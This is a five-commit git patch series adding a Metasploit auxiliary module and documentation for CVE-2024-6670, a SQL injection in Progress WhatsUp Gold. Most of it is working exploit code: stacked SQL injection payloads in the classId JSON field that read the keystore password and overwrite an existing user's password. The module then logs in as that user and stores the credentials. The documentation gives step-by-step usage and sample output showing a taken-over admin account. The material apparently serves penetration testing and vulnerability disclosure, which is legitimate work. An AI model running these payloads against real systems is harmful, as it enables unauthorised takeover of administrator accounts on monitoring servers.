From 686da13ff5dc06d44a0525d80a7e104d2a9846ed Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Mon, 2 Sep 2024 16:09:10 +0100 Subject: [PATCH 1/5] WhatsUp Gold SQL Injection (CVE-2024-6670) WhatsUp Gold SQL Injection (CVE-2024-6670) --- .../auxiliary/admin/http/whatsup_gold_sqli.rb | 169 ++++++++++++++++++ 1 file changed, 169 insertions(+) create mode 100644 modules/auxiliary/admin/http/whatsup_gold_sqli.rb diff --git a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb new file mode 100644 index 000000000000..3c9d46d7e22c --- /dev/null +++ b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb @@ -0,0 +1,169 @@ +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + # prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of the admin user + to an attacker-controlled one. + + WhatsUp Gold < v24.0 are affected. + }, + 'Author' => [ + 'Michael Heinzl', # MSF Module + 'Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)' # Discovery & PoC + ], + 'References' => [ + ['CVE', '2024-6670'], + ['URL', 'https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024'], + ['URL', 'https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/'], + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-1185/'] + ], + 'DisclosureDate' => '2024-08-29', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => 'True' + }, + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']), + OptString.new('USERNAME', [true, 'Username of which to update the password (default: admin)', 'admin']), + OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]), + ]) + end + + def run + body = { + KeyStorePassword: datastore['NEW_PASSWORD'], + TrustStorePassword: datastore['NEW_PASSWORD'] + }.to_json + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'NmConsole/WugSystemAppSettings/JMXSecurity'), + 'ctype' => 'application/json', + 'data' => body + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 500 + fail_with(Failure::UnexpectedReply, 'Unexpected server HTTP status code received.') + end + + marker = Rex::Text.rand_text_alpha(10) + deviceid = Rex::Text.rand_text_numeric(5) + + body = { + deviceId: deviceid.to_s, + classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--", + range: '1', + n: '1', + start: '3', + end: '4', + businesdsHoursId: '5' + }.to_json + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'), + 'ctype' => 'application/json', + 'data' => body + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 200 && res.body == 'false' + fail_with(Failure::UnexpectedReply, 'Unexpected server response received.') + end + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/Filter/AlertCenterItemsReportThresholds') + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected server response received.') + end + + body = res.body.to_s + json_body = JSON.parse(body) + + result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) } + unless result || result.nil + fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.') + end + + display_name = result['DisplayName'].to_s + display_name_f = display_name.sub(marker.to_s, '') + byte_v = display_name_f.split(',') + hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') } + enc_pass = '0x' + hex_v.join + + body = { + deviceId: deviceid.to_s, + classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--", + range: '1', + n: '1', + start: '3', + end: '4', + businesdsHoursId: '5' + }.to_json + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'), + 'ctype' => 'application/json', + 'data' => body + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 200 && res.body == 'false' + fail_with(Failure::Unreachable, 'Unexpected server response received.') + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'NmConsole/User/LoginAjax'), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['NEW_PASSWORD'], + 'rememberMe' => 'false' + } + ) + + json = res.get_json_document + + unless res && res.code == 200 && res.get_cookies.include?('ASPXAUTH') && json['authenticated'] == true + fail_with(Failure::NotVulnerable, 'Unexpected response received.') + end + + store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s) + print_good("New #{datastore['USERNAME']} password was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}") + print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}") + end +end From 64f595c4314fa54e5c721f290c788c41104bd1e3 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Mon, 2 Sep 2024 15:41:08 +0100 Subject: [PATCH 2/5] cleanup, version check, documentation cleanup, version check, documentation --- .../auxiliary/admin/http/whatsup_gold_sqli.md | 53 +++++++++++++++++++ .../auxiliary/admin/http/whatsup_gold_sqli.rb | 52 +++++++++++++----- 2 files changed, 91 insertions(+), 14 deletions(-) create mode 100644 documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md diff --git a/documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md b/documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md new file mode 100644 index 000000000000..8ce2b6c03ceb --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md @@ -0,0 +1,53 @@ +## Vulnerable Application + +This module exploits a SQL injection vulnerability in WhatsUp Gold < v24.0.0 (CVE-2024-6670), by changing the password of an existing user +(such as of the default `admin` account) to an attacker-controlled one. + +## Testing + +The software can be obtained from +[the vendor](https://cdn.ipswitch.com/nm/WhatsUpGold/23.1.3/WhatsUpGold-23.1.3-FullInstall.exe). + +Installation instructions are available [here](https://docs.progress.com/bundle/whatsupgold-install-23-1/page/Prior-to-installation.html). + +**Successfully tested on** + +- WhatsUp Gold v23.1.3 on Windows 22H2 +- WhatsUp Gold v23.1.2 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf6 > use auxiliary/admin/http/whatsup_gold_sqli +msf6 auxiliary(admin/http/whatsup_gold_sqli) > set RHOSTS +msf6 auxiliary(admin/http/whatsup_gold_sqli) > run +``` + +This should update the password of the default `admin` account. + +## Options + +### USERNAME +The user of which to update the password (default: admin) + +### PASSWORD +The new password for the user + +## Scenarios + +Running the exploit against WhatsUp Gold v23.1.3 on Windows 22H2 should result in an output similar to the following: + +``` +msf6 auxiliary(admin/http/whatsup_gold_sqli) > run +[*] Running module against 192.168.217.143 + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version: 23.1.3 +[+] New password for admin was successfully set: + admin:SzESLHhWxKyf +[+] Login at: https://192.168.217.143/NmConsole/#home +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb index 3c9d46d7e22c..84df7bc6ab62 100644 --- a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb +++ b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb @@ -1,6 +1,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - # prepend Msf::Exploit::Remote::AutoCheck + prepend Msf::Exploit::Remote::AutoCheck + CheckCode = Exploit::CheckCode def initialize(info = {}) super( @@ -8,10 +9,10 @@ def initialize(info = {}) info, 'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)', 'Description' => %q{ - This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of the admin user + This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of an existing user (such as of the default admin account) to an attacker-controlled one. - WhatsUp Gold < v24.0 are affected. + WhatsUp Gold versions < v24.0.0 are affected. }, 'Author' => [ 'Michael Heinzl', # MSF Module @@ -44,6 +45,28 @@ def initialize(info = {}) ]) end + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'NmConsole/app.json') + }) + + return CheckCode::Unknown unless res && res.code == 200 + + data = res.body + version = data.match(/"path":"app-(.*?)\.js"/)[1] + + if version.nil? + return CheckCode::Unknown + else + vprint_status('Version retrieved: ' + version) + end + + return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('23.1.3') + + Exploit::CheckCode::Safe + end + def run body = { KeyStorePassword: datastore['NEW_PASSWORD'], @@ -71,11 +94,11 @@ def run body = { deviceId: deviceid.to_s, classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--", - range: '1', - n: '1', - start: '3', - end: '4', - businesdsHoursId: '5' + range: rand(1..9).to_s, + n: rand(1..9).to_s, + start: rand(1..9).to_s, + end: rand(1..9).to_s, + businesdsHoursId: rand(1..9).to_s }.to_json res = send_request_cgi( @@ -119,15 +142,16 @@ def run byte_v = display_name_f.split(',') hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') } enc_pass = '0x' + hex_v.join + vprint_status('Encrypted password: ' + enc_pass) body = { deviceId: deviceid.to_s, classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--", - range: '1', - n: '1', - start: '3', - end: '4', - businesdsHoursId: '5' + range: rand(1..9).to_s, + n: rand(1..9).to_s, + start: rand(1..9).to_s, + end: rand(1..9).to_s, + businesdsHoursId: rand(1..9).to_s }.to_json res = send_request_cgi( @@ -163,7 +187,7 @@ def run end store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s) - print_good("New #{datastore['USERNAME']} password was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}") + print_good("New password for #{datastore['USERNAME']} was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}") print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}") end end From fdd740b235826b1964edce6b6b79c26a306c724a Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Mon, 2 Sep 2024 15:44:27 +0100 Subject: [PATCH 3/5] cleanup cleanup --- modules/auxiliary/admin/http/whatsup_gold_sqli.rb | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb index 84df7bc6ab62..681e96f32697 100644 --- a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb +++ b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb @@ -53,9 +53,10 @@ def check return CheckCode::Unknown unless res && res.code == 200 - data = res.body - version = data.match(/"path":"app-(.*?)\.js"/)[1] - + data = res.get_json_document + data_js = data['js'] + version_path = data_js.find { |item| item["path"] =~ /app-/ }["path"] + version = version_path[/app-(.*)\.js/, 1] if version.nil? return CheckCode::Unknown else @@ -97,8 +98,7 @@ def run range: rand(1..9).to_s, n: rand(1..9).to_s, start: rand(1..9).to_s, - end: rand(1..9).to_s, - businesdsHoursId: rand(1..9).to_s + end: rand(1..9).to_s }.to_json res = send_request_cgi( @@ -133,7 +133,7 @@ def run json_body = JSON.parse(body) result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) } - unless result || result.nil + unless result fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.') end @@ -150,8 +150,7 @@ def run range: rand(1..9).to_s, n: rand(1..9).to_s, start: rand(1..9).to_s, - end: rand(1..9).to_s, - businesdsHoursId: rand(1..9).to_s + end: rand(1..9).to_s }.to_json res = send_request_cgi( From 75627ccba7b22480c34c01f56c024ff94a3c94b7 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Mon, 2 Sep 2024 15:45:45 +0100 Subject: [PATCH 4/5] Update whatsup_gold_sqli.rb --- modules/auxiliary/admin/http/whatsup_gold_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb index 681e96f32697..3d6be822bc42 100644 --- a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb +++ b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb @@ -55,7 +55,7 @@ def check data = res.get_json_document data_js = data['js'] - version_path = data_js.find { |item| item["path"] =~ /app-/ }["path"] + version_path = data_js.find { |item| item['path'] =~ /app-/ }['path'] version = version_path[/app-(.*)\.js/, 1] if version.nil? return CheckCode::Unknown From c20b1d8a0321b071193bc7843ed6d0a3de0584b7 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Thu, 26 Sep 2024 04:01:36 +0100 Subject: [PATCH 5/5] minor fixes minor fixes --- modules/auxiliary/admin/http/whatsup_gold_sqli.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb index 3d6be822bc42..b4b1dbf3ff4b 100644 --- a/modules/auxiliary/admin/http/whatsup_gold_sqli.rb +++ b/modules/auxiliary/admin/http/whatsup_gold_sqli.rb @@ -63,7 +63,7 @@ def check vprint_status('Version retrieved: ' + version) end - return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('23.1.3') + return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('23.1.3') Exploit::CheckCode::Safe end @@ -129,8 +129,7 @@ def run fail_with(Failure::UnexpectedReply, 'Unexpected server response received.') end - body = res.body.to_s - json_body = JSON.parse(body) + json_body = res.get_json_document result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) } unless result